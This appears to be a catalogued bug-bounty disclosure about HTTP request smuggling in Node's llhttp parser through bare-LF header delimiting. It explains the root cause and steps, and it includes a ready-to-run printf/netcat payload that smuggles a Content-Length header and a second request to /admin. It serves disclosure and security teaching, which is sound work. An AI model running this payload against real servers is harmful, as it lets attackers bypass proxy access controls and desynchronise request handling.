Specimen #1524692 · nodejs · none · 9 votes · resolved
Program nodejsSurface web

Root cause

llhttp accepts a lone LF (without CR) to delimit HTTP header fields, violating RFC7230 which requires CRLF. A CRLF-strict upstream proxy treats the LF-embedded text as part of one header value while Node treats it as a new header line.

Method

  1. Put a value ending in a bare \n inside a benign header, then a smuggled Content-Length header, e.g. 'Dummy: x\nContent-Length: 23'.
  2. Front proxy that forbids bare-LF-in-value / delimits only on CRLF sees Content-Length as part of Dummy value and computes body length 0.
  3. Node parses the LF as a line break and honors the smuggled Content-Length, desynchronizing request boundaries and smuggling a second request (e.g. GET /admin).
(printf 'GET / HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ 'Dummy: x\nContent-Length: 23\r\n'\ '\r\n'\ 'GET / HTTP/1.1\r\n'\ 'Dummy: GET /admin HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ '\r\n') | nc localhost 80

Insight — When testing back-end HTTP parsers, don't only try CRLF tricks: bare LF (\n) as a line terminator is a classic desync primitive. Any parser that terminates headers on LF alone while the proxy requires CRLF is smuggling-vulnerable.

§References & practice

  1. PortSwigger Web Security Academy — Request smuggling labs (hands-on practice).
  2. All 33 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.